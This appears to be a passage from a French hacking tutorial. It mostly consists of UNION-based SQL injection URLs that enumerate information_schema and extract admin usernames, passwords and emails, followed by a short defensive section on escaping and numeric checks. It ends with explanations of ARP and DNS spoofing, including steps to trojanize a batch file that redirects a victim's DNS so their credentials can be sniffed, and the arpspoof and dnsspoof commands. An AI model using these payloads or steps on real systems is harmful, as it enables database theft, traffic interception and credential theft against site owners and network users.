-----> pour obtenir les nom des colonnes nous utilisons column_name et information_schema.columns

par la même méthode que ci-dessus :

pour afficher toute les nom des colonnes à la fois en utilisant group_concat():

http://www.site.com/article.php?id=5+union+all+select+1,2,group_concat(column_name),4,5,6,7,8,9,10+from+information_schema.columns--

Mais nous intéressons à afficher les noms de colonnes pour une table spécifique (la table qui contient le nom utilisateur et le mot de passe par exemple), et non pas pour toutes les tables.
On a déjà trouvé la table admin.

pour ce faire: on doit coder le nom de la table qu'on veut savoir ses colonnes  par la fonction MYSQL CHAR():
dans notre cas on doit coder le non <admin>
MYSQL CHAR(admin)=(97, 100, 109, 105, 110)

donc pour afficher ses colonne on utilise la requête suivante:

http://www.site.com/article.php?id=5+union+all+select+1,2,column_name,4,5,6,7,8,9,10+from+information_schema.columns+where+table_name+LIKE+CHAR(97, 100, 109, 105, 110)--


on utilise group_contact() pour afficher tous ses colonnes à la fois:

http://www.site.com/article.php?id=5+union+all+select+1,2,group_concat(column_name),4,5,6,7,8,9,10+from
+information_schema.columns+where+table_name+LIKE+CHAR(97, 100, 109, 105, 110)--

supposons que nous avons trouver les colonnes login, pass et email dans la table admin.

Maintenant pour terminer la requête et de les mettre tous ensemble:

http://www.site.com/article.php?id=5+union+all+select+1,2,concat(user,0x3a,pass,0x3a,email),4,5,6,7,8,9,10+from+admin--

 Methodes2:


On peut utiliser un autre astuce, c'est de déterminer les table dont les nons de ses colonnes contient le mot "pass" (%pass%) comme password,mypassword,pass_member, user_pass etc...):

on utilise les requêtes suivantes:

http://www.site.com/article.php?id=5+union+all+select+1,2,3,4,5,6,7,8,9,10+from+information_schema.columns--


http://www.site.com/article.php?id=5+union+all+select+1,2,concat(table_name,0x3a,column_name,0x3a,table_schema),4,5,6,7,8,9,10+from+information_schema.columns--

http://www.site.com/article.php?id=5+union+all+select+1,2,concat(table_name,0x3a,column_name,0x3a,table_schema),4,5,6,7,8,9,10+from+information_schema.columns+where+column_name+LIKE+CHAR(37, 112, 97, 115, 115, 37)--

CHAR(37, 112, 97, 115, 115, 37)= mysql char() de pass


pour avoir toutes les tables dont les nons de ses colonnes contient le mot < pass > on utilise:

group_concat(), on peut utiliser aussi limit *,1 (limit 0,1 limit 1,1 limit 2,1 etc...)

http://www.site.com/article.php?id=5+union+all+select+1,2,group_concat(table_name,0x3a,column_name,0x3a,table_schema),4,5,6,7,8,9,10+from+information_schema.columns+where+column_name+LIKE+CHAR(37, 112, 97, 115, 115, 37)--

on suppose qu'on va avoir:

admin:pass:mydb
visite:passion:mydb
...............

dans notre cas on va prendre la table admin

allez au site: http://www.waraxe.us/sql-char-encoder.html (Sql ---> MySql hex-encoded string)

pour coder la table admin

on suppose qu'on obtient le résultat suivant: 0x374833C37374836490448

http://www.site.com/article.php?id=5+union+all+select+1,2,concat(table_name,0x3a,column_name,0x3a,table_schema),4,5,6,7,8,9,10+from+information_schema.columns+where+table_name=0x374833C37374836490448--

pour avoir toutes les nons des colonnes de la table admin on utilise:

http://www.site.com/article.php?id=5+union+all+select+1,2,group_concat(table_name,0x3a,column_name,0x3a,table_schema),4,5,6,7,8,9,10+from+information_schema.columns+where+table_name=0x374833C37374836490448--

on suppose qu'on va avoir quelque chose utile comme:

admin:login:mydb
admin:pass:mydb
admin:email:mydb
.................................................

finalement notre requête devient :

http://www.site.com/article.php?id=5+union+all+select+1,2,concat(login,0x3a,pass),4,5,6,7,8,9,10+from+mydb.admin--

on trouve par exemple:

admin_db:password123 (le mot de passe est en claire)

ou avec une mot de passe crypté:

admin_db:617cb7270a3216bd84108ade4e9d7c23 (dans ce cas on doit décrypté le mot de passe)


on peut faire la même chose pour déterminer les table dont les noms de ses colonnes contient le mot "use" (%use%) comme user,user_name,login_user etc...):

Question: pour quoi on utilise table_schema?

supposons qu'on a la requête:

http://www.site.com/article.php?id=5+union+all+select+1,2,group_concat(table_name,0x3a,column_name,0x3a,table_schema),4,5,6,7,8,9,10+from+information_schema.columns+where+column_name+LIKE+CHAR(37, 112, 97, 115, 115, 37)--

tbl_user:password:tbl_sch1 .............(1)
tbl_user:password:tbl_sch2..............(2)

dd_user:user_pass:tbl_sch...............(3)
dd_user:user_password:tbl_sch.......(4)

pour (1) et (2) on doit spécifier la table_schema (ie: tbl_sch1.tbl_user ou tbl_sch2.tbl_user ) car:
si on utilise la requête avec tbl_user et password  sans table_schema
http://www.site.com/article.php?id=5+union+all+select+1,2,password,4,5,6,7,8,9,10+from+tbl_user--
on ne sait pas sur quel table_schema on a pointé (tbl_sch1 ou tbl_sch2)

par contre pour (3) et (4) c'est pas nécessaire de spécifier dans la requête  tbl_sch.dd_user
car la table dd_user appartient à un seul table_schema (tbl_sch)

1. 3. Les risques liés à l'injection SQL :

·         accéder à des données auxquelles on ne devrait pas avoir accès,

·         modifier des données.

·         effacer des données.

·         lire/écrire sur le système de fichier.

·         exécuter des commandes systèmes.

cas pratique:
voire ce video
2.Solution SQL injection :

Pour les variables contenant des chaînes de caractères au lieu d’utiliser la valeur de $_POST ou $_GET directement dans la commande, on la passe à la fonction mysqli_real_escape_string(), qui neutralise tous les caractères susceptibles qui permet de perturber le fonctionnement d’une requête sql comme: ' ,\ "\ etc, en ajoutant une barre oblique inverse juste devant ces caractères.

Remarque:

Il existe une autre fonction quelque peu similaire à mysqli_real_escape_string() , c'est Addslashes() , Mais très récemment, une faille de sécurité a été découverte sur cette fonction si elle est utilisée sur une installation PHP 4.3.9 avec les magic_quotes_gpc activés.

2.1.    Solution de contournement de l’authentification :
On suppose qu’on a:

$username = $_POST['user_name '];
$password = $_POST['user_password '];
SELECT * FROM users WHERE user_name='ahmed' or '1'='1' AND user_password='ahmed' or '1'='1'

Pour empêcher cette injection on utilise la fonction  mysqli_real_escape_string() comme suite :
……………..
$link = mysqli_connect("localhost", "my_user", "my_password"); 
$username = mysqli_real_escape_string($link , $_POST['user_name ']);
$password = mysqli_real_escape_string($link , $_POST['user_password ']);
...............
...............

Ou vous pouvez utiliser aussi :
$username = Addslashes ($_POST['user_name ']);
$password = Addslashes ($_POST ['user_password ']);
La fonction mysqli_real_escape_string() est utilisée pour créer une chaîne SQL valide qui pourra être utilisée dans une requête SQL. La chaîne de caractères est encodée en une chaîne SQL échappée.

Les guillemets sont désormais précédés de barres obliques inverses : on dit qu’ils sont « neutralisés ». Leur valeur SQL est maintenant la même que leur valeur littérale. Ils ont perdu la signification spéciale que leur confère le langage SQL.

Donc larequêtedevient:
SELECT * FROM users WHERE user_name=='\' or \'1\'=\'1' AND user_password='\' or \'1\'='\1'

Toutefois, pour bien assurer la neutralisation de l’ensemble, il faut que la chaîne fournieSoit placée entre guillemets dans la requête. Les types de guillemets, qu’ils soient simplesou doubles, n’ont pas d’importance, car mysqli_real_escape_string() sait aussi neutraliser les guillemets doubles.

2.2.     Solution de l’injection par la commande UNION
On suppose qu'on a:


<?php
$id = $_POST['id'];
$requete = mysql_query("SELECT age FROM membres WHERE id=$id");
?>

Si un pirate veut injecter du code SQL, il n'aura pas besoin d'utiliser les quottes, puisque la variable $id n'est pas entourée de quottes donc pour les variables numériques les fonctions précédentes  ne serviraient à rien ici.

En utilisant la commande sql « UNION » notre requette devient :
SELECT age FROM membres WHERE id= 2 UNION SELECT password FROM membres WHERE id=1

Pour l'éviter, il y a deux solutions :

•    changer le contenu de la variable pour qu'elle ne contienne que des nombres.
•    vérifier si la variable contient réellement un chiffre avant de l'utiliser dans une requête.

a/ On utilise la fonction intval() qui retourne la valeur numérique entière (entier) de la variable var, en convertissant la valeur dans la base spécifiée (par défaut en base 10). intval() ne doit pas être utilisée sur des objets.


<?php
$id = intval($_POST['id']);
$requete = mysql_query("SELECT age FROM membres WHERE id=$id");
?>


b/ On utilise une fonction is_numeric() qui Détermine si la variable donnée est de type numérique elle retourne TRUE lorsqu'une variable ne contient que des nombres et FALSE si ce n'est pas le cas

Exemple:


<?php
$id = $_POST['id'];
if (is_numeric($id))
{
$requete = mysql_query("SELECT age FROM membres WHERE id=$id");
}
 

cas pratique:
voire ce video

0x003

1- ARP spoofing

Usurpation d’identité au niveau MAC 

ARP (Address Resolution Protocol)
ARP est un protocole effectuant la traduction d'une adresse IP en une adresse MAC (adresse physique).


Cache ARP
Le Cache ARP est un ensemble de couples adresse IP-adresse MAC contenu dans la mémoire d'un ordinateur qui utilise le protocole ARP (ce qui est le cas de tous les ordinateurs qui sont connectés à un réseau informatique).


ARP Cache Poisoning
L’empoisonnement du cache ARP (ARP cache poisoning) est une technique qui permet de rediriger tous les flux entre deux machines communiquant sur un réseau local, quelque soit le protocole encapsulé par Ethernet.

Fonctionnement du protocole ARP
Les machines qui implémentent la couche TCP/IP utilisent leurs adresses IP pour communiquer. Sur un réseau Ethernet, un adressage physique s’ajoute à cet adressage logique : c’est le rôle de la sous-couche MAC, qui permet d’identifier les machines grâce à l’adresse MAC de leur carte réseau.

Le protocole ARP permet justement d’établir dynamiquement une correspondance entre les deux types d’adresses, c’est à dire de trouver l’adresse MAC associée à une adresse IP. Lorsque une machine tente d’établir une communication, elle doit d’abord récupérer l’adresse MAC du destinataire. Une requête ARP (arp-request) est alors envoyée en broadcast (diffusion) sur le réseau local, toutes les machines reçoivent ce paquet, mais seul le destinataire répond, puisqu'il a identifié sa propre adresse IP dans l’entête ARP, Il forge alors une réponse ARP (arp-reply) adressée à l’émetteur qui, connaissant à présent l’adresse physique de son
interlocuteur, peut entamer une discussion avec lui.

- Pour afficher le contenu du cache arp d’une machine : arp -a
- Pour supprimer le contenu du cache arp d’une machine : arp -d *

La vulnérabilité de ce protocole
Dans le monde de la sécurité informatique, il existe differentes types de failles permis eux les vulnérabilités dues a la conception d’un système/protocole , c’est le cas par exemple du protocole ARP.
De ce que nous pouvons savoir que le protocole ARP ne nécessite pas d'authentification, et pour limiter l’utilisation du réseau la plupart des systèmes mettent a jour leur cache ARP a chaque fois qu’ils reçoivent une réponse, même s’ils ne l’on pas demandé : ce qui veut dire qu’un pirate peut envoyer un message ARP a l’ordinateur A disant « l’ordinateur C a mon Adresse MAC » recevra ensuite tous les messages qui devraient normalement être délivrés a cet ordinateur C.

Par exemple il ya trois ordinateurs hôtes sur un réseau local (GW represent le passerelle par défaut ici), les noms d'hôte, les adresses IP et les adresses MAC sont les suivantes ( Les adresses MAC sont simplifiés pour une meilleure lisibilité):

HostName    IP                        MAC MAC ip
GW             192.168.0.1         01-01-01-01-01-01    
PC02          192.168.0.2         02-02-02-02-02-02    
PC03          192.168.0.3         03-03-03-03-03-03    

Dans des conditions normales le flux est représenté comme il montre l'illustration ci-dessous:

Maintenant l'ordinateur PC03 de l'attaquant décide de mener une attaque par usurpation ARP.
Tout d'abord, un paquet APR est envoyé à PC02 par PC03 disant: " l'adresse ip 192.168.0.1 corespand  à l'adresse  MAC 03-03-03-03-03-03 ".
PC03 envoie aussi un paquet ARP à  GW, en disant: " l'adresse ip 192.168.0.2 corespand  à l'adresse  MAC 03-03-03-03-03-03 ".
Ainsi, le flux de données à partir de l'ordinateur PC02 et la GW(gatway) est représenté comme il montre l'illustration ci-dessous:


Maintenant toutes les communications de l’utilisateur de l'ordinateur PC02 vers la GW (ou inversement) seront routées vers PC03 (le pirate) qui pourra par exemple récupérer les login/mot de passe.

Comme je viens de le dire, il n’y a aucun système d’authentification. ARP est basé sur la confiance, il considère tous les messages reçus comme authentiques, qu’il provienne de la machine légitime ou pas et il n’intègre aucun moyen de vérification. Je pense que les concepteurs de ces protocoles ont sûrement  simplifié les communications pour que les réseaux fonctionnent de manière optimale mais il n'ont pas prend en considération les impacts de sécurité.

Cette vulnérabilité permet à un pirate plusieurs vecteurs d’attaques comme:
Denial of Service, Man in the Middle et MAC Flooding, etc.

- Denial of Service:
Comme nous l’avons vu précédemment, un pirate peut facilement associer une adresse IP a une fausse adresse MAC. Par exemple, un pirate peut envoyer une réponse ARP associant l’adresse de vôtre routeur avec une adresse MAC qui n’existe pas. Votre ordinateur pense donc connaître réellement la passerelle par défaut, mais en fait ils envoient leurs paquets a une destination qui n’existe pas. Le pirate vous a isolé du réseau.

- L’homme du milieu (Man in the Middle):
L’attaque MiM (man in the Middle) est une redirection complète d’une connexion entre deux machines. Chacun des deux interlocuteurs croit dialoguer directement avec l’autre, mais en réalité il adresse ses trames à une troisième machine qui joue le rôle d’un routeur et renvoie les paquets vers le véritable destinataire.
- etc.

ARP spoofing tools
- Arpspoof (linux) :
redirige les paquets à partir d'un hôte cible destinée à un autre hôte sur le LAN (Réseau local) par forgeage réponses ARP, il est le moyen efficace de sniffer le trafic sur un commutateur:
arpspoof [- i interface] [-t target] host
voir video

- Ettercap (Linux, windows) voir video
- Cain an abel (windows) voir video
- etc.

pour plus de détail  voir:  http://www.oxid.it/downloads/apr-intro.swf


2- DNS spoofing

DNS Poisoning techniques
Empoisonnement du DNS est le technique pour tromper un serveur DNS en lui faisant croire qu'il a reçu des vrai informations, mais en réalité non.

Type de DNS Poisoning
Intranet DNS Spoofing (dans un réseau local): 
Pour cette technique, vous devez être connecté au réseau local (LAN) et être capable de sniffer les paquets, et capable de faire l'empoisonnement ARP du routeur.

1 - Le pirate lance arpspoof/dnsspoof pour lancer le DNS Poisoning (voir le shapitre: ARP Spofong) et transferer tout le trafic à sa machine ou son serveur (faux site).
2 - La victime envoi la requette DNS demande l'@ip du site qu'il veut visiter(vrai site: 44.1.2.3 par exemple).
3 - la victime reçio une repense DNS, le vrai site que vous voullez visiter son @ip est 10.1.2.3 par exemple (le faux site web).
4 - Le navigateur de la victime se connecte au faux site web (la machine de pirate ou son serveur).
5 - Le faux site de pirate sniffe les informations d'identification et redirige la demande sur le site réel.

Internet DNS Spoofing : un peu dificile à réaliser.
Le pirate envoie un cheval de Troie sur la machine victime et change son adresse IP de DNS

1- Le pirate infecte la machine victime  en changeant son adresse IP DNS en 200.0.0.2 par exemple (DNS de pirate).
2- La demande DNS de victime va à 200.0.0.2 (il va au DNS de pirate plutôt que d'aller au DNS reel de la victime) disant quel est l'adresse ip de "vraisite.com" par exemple.(sachant que La vraie adresse de "vraisite.com" est par exemple 88.10.11.12).
3- Le DNS de pirate il va lui donner une fausse adresse ip (41.1.2.3) disasant: le "vraisite.com" est situé à l'adresse 41.1.2.3 plutôt que de lui donner l'adresse réel de "vraisite.com ( 88.10.11.12).
4- Le navigateur de la victime se connecter doc au faux site web.
5- Le faux site de pirate sniffe les informations d'identification et redirige la demande sur le site réel.

Pour rediriger tout les requête DNS vers le serveur DNS de pirate:


1 -Mettre en place un faux site Web sur votre ordinateur ou votre serveur.
2 -Installer treewalk et modifier le fichier mentionné dans le fichier readme.txt à votre adresse IP, treewalk vous fera le serveur DNS.
3 -Modifier le fichier de dns-spoofing.bat et remplacer l'adresse IP par votre adresse IP.
4 -Trojanize le fichier dns-spoofing.bat et l'envoyer à la victime
5 -Lorsque l'hôte clique sur le fichier des chevaux de Troie, il remplacera l'entrée DNS de la victime dans ses propriétés TCP / IP avec celle de le votre (DNS de pirate).
6 -Vous devenir le serveur DNS pour la victime et ses requêtes DNS passera par vous.
7 -Lorsque la victime se connecte à "vraisite.com", elle se redirige vers le "fauxsite.com", vous pouvez donc sniffer son mot de passe et la rediriger la victime vers le site réel ("vraisite.com").

Serveur proxy DNS Poisoning:
c'est la meme principe avec internet DNS Spoofing sauf que le pirate envoie un cheval de Troie sur la machine victime et change  son paramètres du serveur proxy dans son navigateur (Internet Explorer, FIrefox, etc) par l'adresse IP de l'attaquant.




DNS Cache Poisoning
Pour effectuer une attaque par empoisonnement de cache, le pirate exploite une faille dans le  serveur DNS qui peut faire accepter des informations incorrectes. le serveur ne valide pas correctement les réponses DNS afin de s'assurer qu'ils sont venus d'une source autorisée, le serveur finira par la mise en cache les entrées incorrectes localement et de les servir aux utilisateurs qui font la même demande. 
* Par exemple, un attaquant poisons l'entrée d’adresse IP DNS  pour un site cible sur un serveur DNS donné, en les remplaçant par l'adresse ip d'un serveur qu'il contrôle 
* Il crée ensuite des faux  entrées pour les fichiers sur le serveur DNS qu'il contrôle avec des noms correspondant à

Cette technique nécéssite l'attaque L'homme du milieu (Man in the Middle) et ARP spoofing.

Voir cette vidéo: DNS Cache Poisoning
Voir cette vidéo: Dns spoofing

Outils
Dnsspoof: 
dnsspoof [-i interface] [-f fichier hostsfile] [expression]